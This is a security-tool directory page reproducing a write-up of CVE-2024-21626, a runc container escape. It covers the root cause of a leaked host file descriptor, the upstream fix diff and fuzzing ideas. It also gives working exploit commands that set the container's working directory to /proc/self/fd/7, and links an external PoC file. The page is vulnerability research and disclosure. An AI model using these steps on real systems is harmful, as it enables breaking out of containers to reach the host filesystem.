Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-21626-PoC — Root cuase & Proof Of Code | Kitploit
Tools/GitHubGitHub/r4mbb/cve-2024-21626-poc
Vulnerability AnalysisExploitationFuzzingPenetration TestingContainer EscapeBinary Exploitation
GitHubr4mbb/cve-2024-21626-poc

CVE-2024-21626-PoC

Root cuase & Proof Of Code

View Repository
51 year agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2024-21626

Root cause & Proof of Concept

How to use poc-autoplay?

root@kitploit:~
make install

make uninstall

1. Root cause

  • In runc versions ≤ 1.1.11, when opening the host's /sys/fs/cgroup directory to set cgroups, the file descriptor is left open for the container initialization process without closing it, causing this vulnerability.
  1. In the runc init phase, obtain /proc/{PID}/fd/7 via the host's /sys/fs/cgroup.
  2. Without closing that fd, fork/exec container PID 1.
  3. In runc's spec or the runc exec --cwd option, set the working directory (cwd) to a path controlled by the attacker, such as /proc/self/fd/7/ obtained above.
  4. After chdir, PID 1's cwd moves outside the container's rootfs.
  5. Processes inside the container can access or modify the host filesystem, confirming a container escape.
root@kitploit:~
--- a/libcontainer/init_linux.go
+++ b/libcontainer/init_linux.go
@@ -7,6 +7,7 @@ import (
        "net"
        "os"
        +    "path/filepath"
        "runtime"
        "runtime/debug"
        "strconv"
        @@ -268,6 +272,32 @@ func populateProcessEnvironment(env []string) error {
        return nil
        }

        +// verifyCwd ensures that the current working directory is still inside
        +// the container’s mount-namespace root. If getcwd(2) returns ENOENT,
         // it indicates the cwd is outside the container.
         // See CVE-2024-21626.
        +func verifyCwd() error {
        +   if wd, err := unix.Getwd(); errors.Is(err, unix.ENOENT) {
        +       return errors.New("current working directory is outside of container mount namespace root -- possible container breakout detected")
        +   } else if err != nil {
        +       return fmt.Errorf("failed to verify if current working directory is safe: %w", err)
        +   } else if !filepath.IsAbs(wd) {
            +       // Sanity check: cwd should always be absolute
                +       return fmt.Errorf("current working directory is not absolute -- possible container breakout detected: cwd is %q", wd)
                +   }
        +   return nil
            +}

            @@ -326,6 +353,10 @@ func finalizeNamespace(config *initConfig) error {
                if err := system.ClearKeepCaps(); err != nil {
                    return fmt.Errorf("unable to clear keep caps: %w", err)
                }
                +    // After chdir to config.Cwd, ensure it’s still inside the container
                    +    if err := verifyCwd(); err != nil {
                        +        return err
                            +    }
                return nil
            }
Download Tool
  • A logic to verify cwd immediately after chdir was added.
  • In libcontainer/init_linux.go, the verifyCwd() function is added to check whether cwd is still inside the container after chdir, and decide whether to return an error.
  • A logic to close all leaked file descriptors was added.
  • All internal fds are closed right before the final execve, so that host fds do not remain in the container process.

2. Proof of Concept

  • Environment
root@kitploit:~
    - wsl, vmware (Ubuntu 18 ~ 22)
    - kernel (6.6.87)
    - runc ( ≤ 1.1.11)
    - docker (28.1.1)
    - go (1.20.14)
  • Exploit via runc itself
root@kitploit:~
    mkdir CVE-2024-21626 && cd CVE-2024-21626 && mkdir rootfs

    docker pull alpine:latest
    docker export $(docker create alpine:latest) | tar x -C rootfs/

    runc spec
    sed -ri 's#(\s*"cwd": )"(/)"#\1 "/proc/self/fd/7"#g' config.json

    sudo bash -c "exec 7</; runc run demo"
  • Starting from the local / path inside Docker.

  • When creating a container, the working directory must be set to a specific file descriptor. The host's open fd and the container's internal fd become linked, enabling docker escape.

  • PoC file -> https://drive.google.com/file/d/14ttL_Hzbg1GO8WFt3fIfdP7Ik0s1yOM3/view?usp=sharing

root@kitploit:~
- make install, make uninstall
  • PoC MP4 -> https://drive.google.com/file/d/1NQwCPwxi51l_RFr8KMACH0Cupe7w_AnE/view?usp=sharing

3. How can this vulnerability be fuzzed?

  • A method of performing go-fuzz on the vulnerable runc binary.
  • It can be done by providing random OCI configs as input to the chdir(config.Cwd) processing part inside the vulnerable function finalizeNamespace().
  • With this method, one could analyze exception handling or crash points caused by relative paths in cwd after chdir.
  • A method using AFL++ on the vulnerable runc binary.
  • It is a method of fuzzing the OCI spec JSON and runc CLI arguments.
  • Targeting the cwd part in the OCI spec JSON, one could analyze crashes occurring at the chdir point.